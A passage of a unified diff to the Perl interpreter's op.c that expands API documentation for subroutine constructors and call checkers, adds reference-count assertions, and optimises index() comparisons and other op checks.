+C<const> op whose value is a string, and the subroutine will have that
+string as its prototype.  If a prototype is supplied as an attribute, the
+attribute takes precedence over C<proto>, but in that case C<proto> should
+preferably be null.  In any case, C<proto> is consumed by this function.
+
+C<attrs> supplies attributes to be applied the subroutine.  A handful of
+attributes take effect by built-in means, being applied to C<PL_compcv>
+immediately when seen.  Other attributes are collected up and attached
+to the subroutine by this route.  C<attrs> may be null to supply no
+attributes, or point to a C<const> op for a single attribute, or point
+to a C<list> op whose children apart from the C<pushmark> are C<const>
+ops for one or more attributes.  Each C<const> op must be a string,
+giving the attribute name optionally followed by parenthesised arguments,
+in the manner in which attributes appear in Perl source.  The attributes
+will be applied to the sub by this function.  C<attrs> is consumed by
+this function.
+
+If C<o_is_gv> is false and C<o> is null, then the subroutine will
+be anonymous.  If C<o_is_gv> is false and C<o> is non-null, then C<o>
+must point to a C<const> op, which will be consumed by this function,
+and its string value supplies a name for the subroutine.  The name may
+be qualified or unqualified, and if it is unqualified then a default
+stash will be selected in some manner.  If C<o_is_gv> is true, then C<o>
+doesn't point to an C<OP> at all, but is instead a cast pointer to a C<GV>
+by which the subroutine will be named.
+
+If there is already a subroutine of the specified name, then the new
+sub will either replace the existing one in the glob or be merged with
+the existing one.  A warning may be generated about redefinition.
+
+If the subroutine has one of a few special names, such as C<BEGIN> or
+C<END>, then it will be claimed by the appropriate queue for automatic
+running of phase-related subroutines.  In this case the relevant glob will
+be left not containing any subroutine, even if it did contain one before.
+In the case of C<BEGIN>, the subroutine will be executed and the reference
+to it disposed of before this function returns.
+
+The function returns a pointer to the constructed subroutine.  If the sub
+is anonymous then ownership of one counted reference to the subroutine
+is transferred to the caller.  If the sub is named then the caller does
+not get ownership of a reference.  In most such cases, where the sub
+has a non-phase name, the sub will be alive at the point it is returned
+by virtue of being contained in the glob that names it.  A phase-named
+subroutine will usually be alive by virtue of the reference owned by the
+phase's automatic run queue.  But a C<BEGIN> subroutine, having already
+been executed, will quite likely have been destroyed already by the
+time this function returns, making it erroneous for the caller to make
+any use of the returned pointer.  It is the caller's responsibility to
+ensure that it knows which of these situations applies.
+
+=cut
+*/
+
 /* _x = extended */
 CV *
 Perl_newATTRSUB_x(pTHX_ I32 floor, OP *o, OP *proto, OP *attrs,
@@ -8575,9 +9852,12 @@
 	   Also, we may be called from load_module at run time, so
 	   PL_curstash (which sets CvSTASH) may not point to the stash the
 	   sub is stored in.  */
+	/* XXX This optimization is currently disabled for packages other
+	       than main, since there was too much CPAN breakage.  */
 	const I32 flags =
 	   ec ? GV_NOADD_NOINIT
-	      :   PL_curstash != CopSTASH(PL_curcop)
+	      :   (IN_PERL_RUNTIME && PL_curstash != CopSTASH(PL_curcop))
+	       || PL_curstash != PL_defstash
 	       || memchr(name, ':', namlen) || memchr(name, '\'', namlen)
 		    ? gv_fetch_flags
 		    : GV_ADDMULTI | GV_NOINIT | GV_NOTQUAL;
@@ -8600,10 +9880,10 @@
 
     if (!ec) {
         if (isGV(gv)) {
-            move_proto_attr(&proto, &attrs, gv);
+            move_proto_attr(&proto, &attrs, gv, 0);
         } else {
             assert(cSVOPo);
-            move_proto_attr(&proto, &attrs, (GV *)cSVOPo->op_sv);
+            move_proto_attr(&proto, &attrs, (GV *)cSVOPo->op_sv, 1);
         }
     }
 
@@ -8632,7 +9912,7 @@
 
 	PL_compcv = 0;
 	if (name && block) {
-	    const char *s = strrchr(name, ':');
+	    const char *s = (char *) my_memrchr(name, ':', namlen);
 	    s = s ? s+1 : name;
 	    if (strEQ(s, "BEGIN")) {
 		if (PL_in_eval & EVAL_KEEPERR)
@@ -8796,6 +10076,8 @@
 		    NULL, name, namlen, name_is_utf8 ? SVf_UTF8 : 0,
 		    const_sv
 		);
+		assert(cv);
+		assert(SvREFCNT((SV*)cv) != 0);
 		CvFLAGS(cv) |= CvMETHOD(PL_compcv);
 	    }
 	    else {
@@ -8894,8 +10176,12 @@
 		SvROK_on(gv);
 	    }
 	    SvRV_set(gv, (SV *)cv);
+	    if (HvENAME_HEK(PL_curstash))
+		mro_method_changed_in(PL_curstash);
 	}
     }
+    assert(cv);
+    assert(SvREFCNT((SV*)cv) != 0);
 
     if (!CvHASGV(cv)) {
 	if (isGV(gv))
@@ -8984,12 +10270,15 @@
                     process_special_blocks(floor, name, gv, cv);
         }
     }
+    assert(cv);
 
   done:
+    assert(!cv || evanescent || SvREFCNT((SV*)cv) != 0);
     if (PL_parser)
 	PL_parser->copline = NOLINE;
     LEAVE_SCOPE(floor);
 
+    assert(!cv || evanescent || SvREFCNT((SV*)cv) != 0);
     if (!evanescent) {
 #ifdef PERL_DEBUG_READONLY_OPS
     if (slab)
@@ -9104,9 +10393,11 @@
 }
 
 /*
-=for apidoc newCONSTSUB
+=for apidoc Am|CV *|newCONSTSUB|HV *stash|const char *name|SV *sv
 
-See L</newCONSTSUB_flags>.
+Behaves like L</newCONSTSUB_flags>, except that C<name> is nul-terminated
+rather than of counted length, and no flags are set.  (This means that
+C<name> is always interpreted as Latin-1.)
 
 =cut
 */
@@ -9118,21 +10409,72 @@
 }
 
 /*
-=for apidoc newCONSTSUB_flags
+=for apidoc Am|CV *|newCONSTSUB_flags|HV *stash|const char *name|STRLEN len|U32 flags|SV *sv
 
-Creates a constant sub equivalent to Perl S<C<sub FOO () { 123 }>> which is
-eligible for inlining at compile-time.
+Construct a constant subroutine, also performing some surrounding
+jobs.  A scalar constant-valued subroutine is eligible for inlining
+at compile-time, and in Perl code can be created by S<C<sub FOO () {
+123 }>>.  Other kinds of constant subroutine have other treatment.
 
-Currently, the only useful value for C<flags> is C<SVf_UTF8>.
+The subroutine will have an empty prototype and will ignore any arguments
+when called.  Its constant behaviour is determined by C<sv>.  If C<sv>
+is null, the subroutine will yield an empty list.  If C<sv> points to a
+scalar, the subroutine will always yield that scalar.  If C<sv> points
+to an array, the subroutine will always yield a list of the elements of
+that array in list context, or the number of elements in the array in
+scalar context.  This function takes ownership of one counted reference
+to the scalar or array, and will arrange for the object to live as long
+as the subroutine does.  If C<sv> points to a scalar then the inlining
+assumes that the value of the scalar will never change, so the caller
+must ensure that the scalar is not subsequently written to.  If C<sv>
+points to an array then no such assumption is made, so it is ostensibly
+safe to mutate the array or its elements, but whether this is really
+supported has not been determined.
 
-The newly created subroutine takes ownership of a reference to the passed in
-SV.
+The subroutine will have C<CvFILE> set according to C<PL_curcop>.
+Other aspects of the subroutine will be left in their default state.
+The caller is free to mutate the subroutine beyond its initial state
+after this function has returned.
 
-Passing C<NULL> for SV creates a constant sub equivalent to S<C<sub BAR () {}>>,
-which won't be called if used as a destructor, but will suppress the overhead
-of a call to C<AUTOLOAD>.  (This form, however, isn't eligible for inlining at
-compile time.)
+If C<name> is null then the subroutine will be anonymous, with its
+C<CvGV> referring to an C<__ANON__> glob.  If C<name> is non-null then the
+subroutine will be named accordingly, referenced by the appropriate glob.
+C<name> is a string of length C<len> bytes giving a sigilless symbol
+name, in UTF-8 if C<flags> has the C<SVf_UTF8> bit set and in Latin-1
+otherwise.  The name may be either qualified or unqualified.  If the
+name is unqualified then it defaults to being in the stash specified by
+C<stash> if that is non-null, or to C<PL_curstash> if C<stash> is null.
+The symbol is always added to the stash if necessary, with C<GV_ADDMULTI>
+semantics.
 
+C<flags> should not have bits set other than C<SVf_UTF8>.
+
+If there is already a subroutine of the specified name, then the new sub
+will replace the existing one in the glob.  A warning may be generated
+about the redefinition.
+
+If the subroutine has one of a few special names, such as C<BEGIN> or
+C<END>, then it will be claimed by the appropriate queue for automatic
+running of phase-related subroutines.  In this case the relevant glob will
+be left not containing any subroutine, even if it did contain one before.
+Execution of the subroutine will likely be a no-op, unless C<sv> was
+a tied array or the caller modified the subroutine in some interesting
+way before it was executed.  In the case of C<BEGIN>, the treatment is
+buggy: the sub will be executed when only half built, and may be deleted
+prematurely, possibly causing a crash.
+
+The function returns a pointer to the constructed subroutine.  If the sub
+is anonymous then ownership of one counted reference to the subroutine
+is transferred to the caller.  If the sub is named then the caller does
+not get ownership of a reference.  In most such cases, where the sub
+has a non-phase name, the sub will be alive at the point it is returned
+by virtue of being contained in the glob that names it.  A phase-named
+subroutine will usually be alive by virtue of the reference owned by
+the phase's automatic run queue.  A C<BEGIN> subroutine may have been
+destroyed already by the time this function returns, but currently bugs
+occur in that case before the caller gets control.  It is the caller's
+responsibility to ensure that it knows which of these situations applies.
+
 =cut
 */
 
@@ -9178,6 +10520,8 @@
 			     : const_sv_xsub,
 			 file ? file : "", "",
 			 &sv, XS_DYNAMIC_FILENAME | flags);
+    assert(cv);
+    assert(SvREFCNT((SV*)cv) != 0);
     CvXSUBANY(cv).any_ptr = SvREFCNT_inc_simple(sv);
     CvCONST_on(cv);
 
@@ -9224,6 +10568,78 @@
     );
 }
 
+/*
+=for apidoc m|CV *|newXS_len_flags|const char *name|STRLEN len|XSUBADDR_t subaddr|const char *const filename|const char *const proto|SV **const_svp|U32 flags
+
+Construct an XS subroutine, also performing some surrounding jobs.
+
+The subroutine will have the entry point C<subaddr>.  It will have
+the prototype specified by the nul-terminated string C<proto>, or
+no prototype if C<proto> is null.  The prototype string is copied;
+the caller can mutate the supplied string afterwards.  If C<filename>
+is non-null, it must be a nul-terminated filename, and the subroutine
+will have its C<CvFILE> set accordingly.  By default C<CvFILE> is set to
+point directly to the supplied string, which must be static.  If C<flags>
+has the C<XS_DYNAMIC_FILENAME> bit set, then a copy of the string will
+be taken instead.
+
+Other aspects of the subroutine will be left in their default state.
+If anything else needs to be done to the subroutine for it to function
+correctly, it is the caller's responsibility to do that after this
+function has constructed it.  However, beware of the subroutine
+potentially being destroyed before this function returns, as described
+below.
+
+If C<name> is null then the subroutine will be anonymous, with its
+C<CvGV> referring to an C<__ANON__> glob.  If C<name> is non-null then the
+subroutine will be named accordingly, referenced by the appropriate glob.
+C<name> is a string of length C<len> bytes giving a sigilless symbol name,
+in UTF-8 if C<flags> has the C<SVf_UTF8> bit set and in Latin-1 otherwise.
+The name may be either qualified or unqualified, with the stash defaulting
+in the same manner as for C<gv_fetchpvn_flags>.  C<flags> may contain
+flag bits understood by C<gv_fetchpvn_flags> with the same meaning as
+they have there, such as C<GV_ADDWARN>.  The symbol is always added to
+the stash if necessary, with C<GV_ADDMULTI> semantics.
+
+If there is already a subroutine of the specified name, then the new sub
+will replace the existing one in the glob.  A warning may be generated
+about the redefinition.  If the old subroutine was C<CvCONST> then the
+decision about whether to warn is influenced by an expectation about
+whether the new subroutine will become a constant of similar value.
+That expectation is determined by C<const_svp>.  (Note that the call to
+this function doesn't make the new subroutine C<CvCONST> in any case;
+that is left to the caller.)  If C<const_svp> is null then it indicates
+that the new subroutine will not become a constant.  If C<const_svp>
+is non-null then it indicates that the new subroutine will become a
+constant, and it points to an C<SV*> that provides the constant value
+that the subroutine will have.
+
+If the subroutine has one of a few special names, such as C<BEGIN> or
+C<END>, then it will be claimed by the appropriate queue for automatic
+running of phase-related subroutines.  In this case the relevant glob will
+be left not containing any subroutine, even if it did contain one before.
+In the case of C<BEGIN>, the subroutine will be executed and the reference
+to it disposed of before this function returns, and also before its
+prototype is set.  If a C<BEGIN> subroutine would not be sufficiently
+constructed by this function to be ready for execution then the caller
+must prevent this happening by giving the subroutine a different name.
+
+The function returns a pointer to the constructed subroutine.  If the sub
+is anonymous then ownership of one counted reference to the subroutine
+is transferred to the caller.  If the sub is named then the caller does
+not get ownership of a reference.  In most such cases, where the sub
+has a non-phase name, the sub will be alive at the point it is returned
+by virtue of being contained in the glob that names it.  A phase-named
+subroutine will usually be alive by virtue of the reference owned by the
+phase's automatic run queue.  But a C<BEGIN> subroutine, having already
+been executed, will quite likely have been destroyed already by the
+time this function returns, making it erroneous for the caller to make
+any use of the returned pointer.  It is the caller's responsibility to
+ensure that it knows which of these situations applies.
+
+=cut
+*/
+
 CV *
 Perl_newXS_len_flags(pTHX_ const char *name, STRLEN len,
 			   XSUBADDR_t subaddr, const char *const filename,
@@ -9232,6 +10648,7 @@
 {
     CV *cv;
     bool interleave = FALSE;
+    bool evanescent = FALSE;
 
     PERL_ARGS_ASSERT_NEWXS_LEN_FLAGS;
 
@@ -9276,6 +10693,8 @@
                     gv_method_changed(gv); /* newXS */
             }
         }
+	assert(cv);
+	assert(SvREFCNT((SV*)cv) != 0);
 
         CvGV_set(cv, gv);
         if(filename) {
@@ -9303,14 +10722,17 @@
 #endif
 
         if (name)
-            process_special_blocks(0, name, gv, cv);
+            evanescent = process_special_blocks(0, name, gv, cv);
         else
             CvANON_on(cv);
     } /* <- not a conditional branch */
 
+    assert(cv);
+    assert(evanescent || SvREFCNT((SV*)cv) != 0);
 
-    sv_setpv(MUTABLE_SV(cv), proto);
+    if (!evanescent) sv_setpv(MUTABLE_SV(cv), proto);
     if (interleave) LEAVE;
+    assert(evanescent || SvREFCNT((SV*)cv) != 0);
     return cv;
 }
 
@@ -9468,6 +10890,8 @@
     case OP_RV2SV:
     case OP_RV2AV:
         OpTYPE_set(o, OP_RV2HV);
+        /* rv2hv steals the bottom bit for its own uses */
+        o->op_private &= ~OPpARG1_MASK;
 	ref(o, OP_RV2HV);
 	break;
 
@@ -9610,6 +11034,7 @@
     OP *newop = NULL;
     OP *sibl;
     PERL_ARGS_ASSERT_CK_BACKTICK;
+    o = ck_fun(o);
     /* qx and `` have a null pushmark; CORE::readpipe has only one kid. */
     if (o->op_flags & OPf_KIDS && (sibl = OpSIBLING(cUNOPo->op_first))
      && (gv = gv_override("readpipe",8)))
@@ -9635,12 +11060,6 @@
 
     o->op_private = (U8)(PL_hints & HINT_INTEGER);
 
-    if (o->op_type == OP_NBIT_OR     || o->op_type == OP_SBIT_OR
-     || o->op_type == OP_NBIT_XOR    || o->op_type == OP_SBIT_XOR
-     || o->op_type == OP_NBIT_AND    || o->op_type == OP_SBIT_AND
-     || o->op_type == OP_NCOMPLEMENT || o->op_type == OP_SCOMPLEMENT)
-	Perl_ck_warner_d(aTHX_ packWARN(WARN_EXPERIMENTAL__BITWISE),
-			      "The bitwise feature is experimental");
     if (!(o->op_flags & OPf_STACKED) /* Not an assignment */
 	    && OP_IS_INFIX_BIT(o->op_type))
     {
@@ -9676,11 +11095,27 @@
 	&& strEQ(GvNAME(cGVOPx_gv(kid)), "[");
 }
 
+/* for lt, gt, le, ge, eq, ne and their i_ variants */
+
 OP *
 Perl_ck_cmp(pTHX_ OP *o)
 {
+    bool is_eq;
+    bool neg;
+    bool reverse;
+    bool iv0;
+    OP *indexop, *constop, *start;
+    SV *sv;
+    IV iv;
+
     PERL_ARGS_ASSERT_CK_CMP;
-    if (ckWARN(WARN_SYNTAX)) {
+
+    is_eq = (   o->op_type == OP_EQ
+             || o->op_type == OP_NE
+             || o->op_type == OP_I_EQ
+             || o->op_type == OP_I_NE);
+
+    if (!is_eq && ckWARN(WARN_SYNTAX)) {
 	const OP *kid = cUNOPo->op_first;
 	if (kid &&
             (
@@ -9695,9 +11130,87 @@
 	    Perl_warner(aTHX_ packWARN(WARN_SYNTAX),
 			"$[ used in %s (did you mean $] ?)", OP_DESC(o));
     }
-    return o;
+
+    /* convert (index(...) == -1) and variations into
+     *   (r)index/BOOL(,NEG)
+     */
+
+    reverse = FALSE;
+
+    indexop = cUNOPo->op_first;
+    constop = OpSIBLING(indexop);
+    start = NULL;
+    if (indexop->op_type == OP_CONST) {
+        constop = indexop;
+        indexop = OpSIBLING(constop);
+        start = constop;
+        reverse = TRUE;
+    }
+
+    if (indexop->op_type != OP_INDEX && indexop->op_type != OP_RINDEX)
+        return o;
+
+    /* ($lex = index(....)) == -1 */
+    if (indexop->op_private & OPpTARGET_MY)
+        return o;
+
+    if (constop->op_type != OP_CONST)
+        return o;
+
+    sv = cSVOPx_sv(constop);
+    if (!(sv && SvIOK_notUV(sv)))
+        return o;
+
+    iv = SvIVX(sv);
+    if (iv != -1 && iv != 0)
+        return o;
+    iv0 = (iv == 0);
+
+    if (o->op_type == OP_LT || o->op_type == OP_I_LT) {
+        if (!(iv0 ^ reverse))
+            return o;
+        neg = iv0;
+    }
+    else if (o->op_type == OP_LE || o->op_type == OP_I_LE) {
+        if (iv0 ^ reverse)
+            return o;
+        neg = !iv0;
+    }
+    else if (o->op_type == OP_GE || o->op_type == OP_I_GE) {
+        if (!(iv0 ^ reverse))
+            return o;
+        neg = !iv0;
+    }
+    else if (o->op_type == OP_GT || o->op_type == OP_I_GT) {
+        if (iv0 ^ reverse)
+            return o;
+        neg = iv0;
+    }
+    else if (o->op_type == OP_EQ || o->op_type == OP_I_EQ) {
+        if (iv0)
+            return o;
+        neg = TRUE;
+    }
+    else {
+        assert(o->op_type == OP_NE || o->op_type == OP_I_NE);
+        if (iv0)
+            return o;
+        neg = FALSE;
+    }
+
+    indexop->op_flags &= ~OPf_PARENS;
+    indexop->op_flags |= (o->op_flags & OPf_PARENS);
+    indexop->op_private |= OPpTRUEBOOL;
+    if (neg)
+        indexop->op_private |= OPpINDEX_BOOLNEG;
+    /* cut out the index op and free the eq,const ops */
+    (void)op_sibling_splice(o, start, 1, NULL);
+    op_free(o);
+
+    return indexop;
 }
 
+
 OP *
 Perl_ck_concat(pTHX_ OP *o)
 {
@@ -9706,9 +11219,13 @@
     PERL_ARGS_ASSERT_CK_CONCAT;
     PERL_UNUSED_CONTEXT;
 
+    /* reuse the padtmp returned by the concat child */
     if (kid->op_type == OP_CONCAT && !(kid->op_private & OPpTARGET_MY) &&
 	    !(kUNOP->op_first->op_flags & OPf_MOD))
+    {
         o->op_flags |= OPf_STACKED;
+        o->op_private |= OPpCONCAT_NESTED;
+    }
     return o;
 }
 
@@ -9773,11 +11290,11 @@
 	case OP_HELEM:
 	    break;
 	case OP_KVASLICE:
-	    Perl_croak(aTHX_ "delete argument is index/value array slice,"
-			     " use array slice");
+            o->op_flags |= OPf_SPECIAL;
+            /* FALLTHROUGH */
 	case OP_KVHSLICE:
-	    Perl_croak(aTHX_ "delete argument is key/value hash slice, use"
-			     " hash slice");
+            o->op_private |= OPpKVSLICE;
+            break;
 	default:
 	    Perl_croak(aTHX_ "delete argument is not a HASH or ARRAY "
 			     "element or slice");
@@ -9810,6 +11327,7 @@
     return o;
 }
 
+
 OP *
 Perl_ck_eval(pTHX_ OP *o)
 {
@@ -9922,6 +11440,10 @@
 
     PERL_ARGS_ASSERT_CK_RVCONST;
 
+    if (o->op_type == OP_RV2HV)
+        /* rv2hv steals the bottom bit for its own uses */
+        o->op_private &= ~OPpARG1_MASK;
+
     o->op_private |= (PL_hints & HINT_STRICT_REFS);
 
     if (kid->op_type == OP_CONST) {
@@ -10425,7 +11947,9 @@
 	if (kid && kid->op_type == OP_CONST) {
 	    const bool save_taint = TAINT_get;
 	    SV *sv = kSVOP->op_sv;
-	    if ((!SvPOK(sv) || SvNIOKp(sv)) && SvOK(sv) && !SvROK(sv)) {
+	    if (   (!SvPOK(sv) || SvNIOKp(sv) || isREGEXP(sv))
+                && SvOK(sv) && !SvROK(sv))
+            {
 		sv = newSV(0);
 		sv_copypv(sv, kSVOP->op_sv);
 		SvREFCNT_dec_NN(kSVOP->op_sv);
@@ -10625,35 +12149,13 @@
 	    )
 		&& (kkid->op_private & (OPpLVAL_INTRO|OPpPAD_STATE))
 		    == (OPpLVAL_INTRO|OPpPAD_STATE)) {
-	    const PADOFFSET target = kkid->op_targ;
-	    OP *const other = newOP(OP_PADSV,
-				    kkid->op_flags
-				    | ((kkid->op_private & ~OPpLVAL_INTRO) << 8));
-	    OP *const first = newOP(OP_NULL, 0);
-	    OP *const nullop =
-		newCONDOP(0, first, o, other);
-	    /* XXX targlex disabled for now; see ticket #124160
-		newCONDOP(0, first, S_maybe_targlex(aTHX_ o), other);
-	     */
-	    OP *const condop = first->op_next;
-
-            OpTYPE_set(condop, OP_ONCE);
-	    other->op_targ = target;
-	    nullop->op_flags |= OPf_WANT_SCALAR;
-
-	    /* Store the initializedness of state vars in a separate
-	       pad entry.  */
-	    condop->op_targ =
-	      pad_add_name_pvn("$",1,padadd_NO_DUP_CHECK|padadd_STATE,0,0);
-	    /* hijacking PADSTALE for uninitialized state variables */
-	    SvPADSTALE_on(PAD_SVl(condop->op_targ));
-
-	    return nullop;
+	    return S_newONCEOP(aTHX_ o, kkid);
 	}
     }
     return S_maybe_targlex(aTHX_ o);
 }
 
+
 OP *
 Perl_ck_match(pTHX_ OP *o)
 {
@@ -10680,7 +12182,9 @@
     sv = kSVOP->op_sv;
 
     /* replace ' with :: */
-    while ((compatptr = strchr(SvPVX(sv), '\''))) {
+    while ((compatptr = (char *) memchr(SvPVX(sv), '\'',
+                                        SvEND(sv) - SvPVX(sv) )))
+    {
         *compatptr = ':';
         sv_insert(sv, compatptr - SvPVX_const(sv), 0, ":", 1);
     }
@@ -10701,13 +12205,13 @@
         return newMETHOP_named(OP_METHOD_NAMED, 0, methsv);
     }
 
-    if (nsplit == 7 && memEQ(method, "SUPER::", nsplit)) { /* $proto->SUPER::method() */
+    if (memEQs(method, nsplit, "SUPER::")) { /* $proto->SUPER::method() */
         op_free(o);
         return newMETHOP_named(OP_METHOD_SUPER, 0, methsv);
     }
 
     /* $proto->MyClass::method() and $proto->MyClass::SUPER::method() */
-    if (nsplit >= 9 && strnEQ(method+nsplit-9, "::SUPER::", 9)) {
+    if (nsplit >= 9 && strBEGINs(method+nsplit-9, "::SUPER::")) {
         rclass = newSVpvn_share(method, utf8*(nsplit-9), 0);
         new_op = newMETHOP_named(OP_METHOD_REDIR_SUPER, 0, methsv);
     } else {
@@ -11056,10 +12560,10 @@
 	    SV ** const svp = hv_fetchs(hinthv, "sort", FALSE);
 	    if (svp) {
 		const I32 sorthints = (I32)SvIV(*svp);
-		if ((sorthints & HINT_SORT_QUICKSORT) != 0)
-		    o->op_private |= OPpSORT_QSORT;
 		if ((sorthints & HINT_SORT_STABLE) != 0)
 		    o->op_private |= OPpSORT_STABLE;
+		if ((sorthints & HINT_SORT_UNSTABLE) != 0)
+		    o->op_private |= OPpSORT_UNSTABLE;
 	    }
     }
 
@@ -11127,7 +12631,7 @@
 }
 
 /* for sort { X } ..., where X is one of
- *   $a <=> $b, $b <= $a, $a cmp $b, $b cmp $a
+ *   $a <=> $b, $b <=> $a, $a cmp $b, $b cmp $a
  * elide the second child of the sort (the one containing X),
  * and set these flags as appropriate
 	OPpSORT_NUMERIC;
@@ -11487,11 +12991,18 @@
     }
     if (SvTYPE((SV*)cv) != SVt_PVCV)
 	return NULL;
-    if (flags & (RV2CVOPCV_RETURN_NAME_GV|RV2CVOPCV_MAYBE_NAME_GV)) {
-	if ((!CvANON(cv) || !gv) && !CvLEXICAL(cv)
-	 && ((flags & RV2CVOPCV_RETURN_NAME_GV) || !CvNAMED(cv)))
+    if (flags & RV2CVOPCV_RETURN_NAME_GV) {
+	if ((!CvANON(cv) && !CvLEXICAL(cv)) || !gv)
 	    gv = CvGV(cv);
 	return (CV*)gv;
+    }
+    else if (flags & RV2CVOPCV_MAYBE_NAME_GV) {
+	if (CvLEXICAL(cv) || CvNAMED(cv))
+	    return NULL;
+	if (!CvANON(cv) || !gv)
+	    gv = CvGV(cv);
+	return (CV*)gv;
+
     } else {
 	return cv;
     }
@@ -11665,7 +13176,7 @@
 		switch (*proto++) {
 		    case '[':
 			if (contextclass++ == 0) {
-			    e = strchr(proto, ']');
+			    e = (char *) memchr(proto, ']', proto_end - proto);
 			    if (!e || e == proto)
 				goto oops;
 			}
@@ -11823,7 +13334,8 @@
 OP *
 Perl_ck_entersub_args_core(pTHX_ OP *entersubop, GV *namegv, SV *protosv)
 {
-    int opnum = SvTYPE(protosv) == SVt_PVCV ? 0 : (int)SvUV(protosv);
+    IV cvflags = SvIVX(protosv);
+    int opnum = cvflags & 0xffff;
     OP *aop = cUNOPx(entersubop)->op_first;
 
     PERL_ARGS_ASSERT_CK_ENTERSUB_ARGS_CORE;
@@ -11834,11 +13346,14 @@
 	    aop = cUNOPx(aop)->op_first;
 	aop = OpSIBLING(aop);
 	for (cvop = aop; OpSIBLING(cvop); cvop = OpSIBLING(cvop)) ;
-	if (aop != cvop)
-	    (void)too_many_arguments_pv(entersubop, GvNAME(namegv), 0);
+	if (aop != cvop) {
+	    SV *namesv = cv_name((CV *)namegv, NULL, CV_NAME_NOTQUAL);
+	    yyerror_pv(Perl_form(aTHX_ "Too many arguments for %" SVf,
+		SVfARG(namesv)), SvUTF8(namesv));
+	}
 	
 	op_free(entersubop);
-	switch(GvNAME(namegv)[2]) {
+	switch(cvflags >> 16) {
 	case 'F': return newSVOP(OP_CONST, 0,
 					newSVpv(CopFILE(PL_curcop),0));
 	case 'L': return newSVOP(
@@ -11891,8 +13406,7 @@
             op_sibling_splice(parent, first, -1, NULL);
 	op_free(entersubop);
 
-	if (opnum == OP_ENTEREVAL
-	 && GvNAMELEN(namegv)==9 && strnEQ(GvNAME(namegv), "evalbytes", 9))
+	if (cvflags == (OP_ENTEREVAL | (1<<16)))
 	    flags |= OPpEVAL_BYTES <<8;
 	
 	switch (PL_opargs[opnum] & OA_CLASS_MASK) {
@@ -11902,7 +13416,9 @@
 	    return aop ? newUNOP(opnum,flags,aop) : newOP(opnum,flags);
 	case OA_BASEOP:
 	    if (aop) {
-		    (void)too_many_arguments_pv(aop, GvNAME(namegv), 0);
+		SV *namesv = cv_name((CV *)namegv, NULL, CV_NAME_NOTQUAL);
+		yyerror_pv(Perl_form(aTHX_ "Too many arguments for %" SVf,
+		    SVfARG(namesv)), SvUTF8(namesv));
 		op_free(aop);
 	    }
 	    return opnum == OP_RUNCV
@@ -11917,7 +13433,7 @@
 }
 
 /*
-=for apidoc Am|void|cv_get_call_checker|CV *cv|Perl_call_checker *ckfun_p|SV **ckobj_p
+=for apidoc Am|void|cv_get_call_checker_flags|CV *cv|U32 gflags|Perl_call_checker *ckfun_p|SV **ckobj_p|U32 *ckflags_p
 
 Retrieves the function that will be used to fix up a call to C<cv>.
 Specifically, the function is applied to an C<entersub> op tree for a
@@ -11924,42 +13440,70 @@
 subroutine call, not marked with C<&>, where the callee can be identified
 at compile time as C<cv>.
 
-The C-level function pointer is returned in C<*ckfun_p>, and an SV
-argument for it is returned in C<*ckobj_p>.  The function is intended
-to be called in this manner:
+The C-level function pointer is returned in C<*ckfun_p>, an SV argument
+for it is returned in C<*ckobj_p>, and control flags are returned in
+C<*ckflags_p>.  The function is intended to be called in this manner:
 
  entersubop = (*ckfun_p)(aTHX_ entersubop, namegv, (*ckobj_p));
 
 In this call, C<entersubop> is a pointer to the C<entersub> op,
-which may be replaced by the check function, and C<namegv> is a GV
-supplying the name that should be used by the check function to refer
+which may be replaced by the check function, and C<namegv> supplies
+the name that should be used by the check function to refer
 to the callee of the C<entersub> op if it needs to emit any diagnostics.
 It is permitted to apply the check function in non-standard situations,
 such as to a call to a different subroutine or to a method call.
 
-By default, the function is
+C<namegv> may not actually be a GV.  If the C<CALL_CHECKER_REQUIRE_GV>
+bit is clear in C<*ckflags_p>, it is permitted to pass a CV or other SV
+instead, anything that can be used as the first argument to L</cv_name>.
+If the C<CALL_CHECKER_REQUIRE_GV> bit is set in C<*ckflags_p> then the
+check function requires C<namegv> to be a genuine GV.
+
+By default, the check function is
 L<Perl_ck_entersub_args_proto_or_list|/ck_entersub_args_proto_or_list>,
-and the SV parameter is C<cv> itself.  This implements standard
-prototype processing.  It can be changed, for a particular subroutine,
-by L</cv_set_call_checker>.
+the SV parameter is C<cv> itself, and the C<CALL_CHECKER_REQUIRE_GV>
+flag is clear.  This implements standard prototype processing.  It can
+be changed, for a particular subroutine, by L</cv_set_call_checker_flags>.
 
+If the C<CALL_CHECKER_REQUIRE_GV> bit is set in C<gflags> then it
+indicates that the caller only knows about the genuine GV version of
+C<namegv>, and accordingly the corresponding bit will always be set in
+C<*ckflags_p>, regardless of the check function's recorded requirements.
+If the C<CALL_CHECKER_REQUIRE_GV> bit is clear in C<gflags> then it
+indicates the caller knows about the possibility of passing something
+other than a GV as C<namegv>, and accordingly the corresponding bit may
+be either set or clear in C<*ckflags_p>, indicating the check function's
+recorded requirements.
+
+C<gflags> is a bitset passed into C<cv_get_call_checker_flags>, in which
+only the C<CALL_CHECKER_REQUIRE_GV> bit currently has a defined meaning
+(for which see above).  All other bits should be clear.
+
+=for apidoc Am|void|cv_get_call_checker|CV *cv|Perl_call_checker *ckfun_p|SV **ckobj_p
+
+The original form of L</cv_get_call_checker_flags>, which does not return
+checker flags.  When using a checker function returned by this function,
+it is only safe to call it with a genuine GV as its C<namegv> argument.
+
 =cut
 */
 
-static void
-S_cv_get_call_checker(CV *cv, Perl_call_checker *ckfun_p, SV **ckobj_p,
-		      U8 *flagsp)
+void
+Perl_cv_get_call_checker_flags(pTHX_ CV *cv, U32 gflags,
+	Perl_call_checker *ckfun_p, SV **ckobj_p, U32 *ckflags_p)
 {
     MAGIC *callmg;
+    PERL_ARGS_ASSERT_CV_GET_CALL_CHECKER_FLAGS;
+    PERL_UNUSED_CONTEXT;
     callmg = SvMAGICAL((SV*)cv) ? mg_find((SV*)cv, PERL_MAGIC_checkcall) : NULL;
     if (callmg) {
 	*ckfun_p = DPTR2FPTR(Perl_call_checker, callmg->mg_ptr);
 	*ckobj_p = callmg->mg_obj;
-	if (flagsp) *flagsp = callmg->mg_flags;
+	*ckflags_p = (callmg->mg_flags | gflags) & MGf_REQUIRE_GV;
     } else {
 	*ckfun_p = Perl_ck_entersub_args_proto_or_list;
 	*ckobj_p = (SV*)cv;
-	if (flagsp) *flagsp = 0;
+	*ckflags_p = gflags & MGf_REQUIRE_GV;
     }
 }
 
@@ -11966,13 +13510,15 @@
 void
 Perl_cv_get_call_checker(pTHX_ CV *cv, Perl_call_checker *ckfun_p, SV **ckobj_p)
 {
+    U32 ckflags;
     PERL_ARGS_ASSERT_CV_GET_CALL_CHECKER;
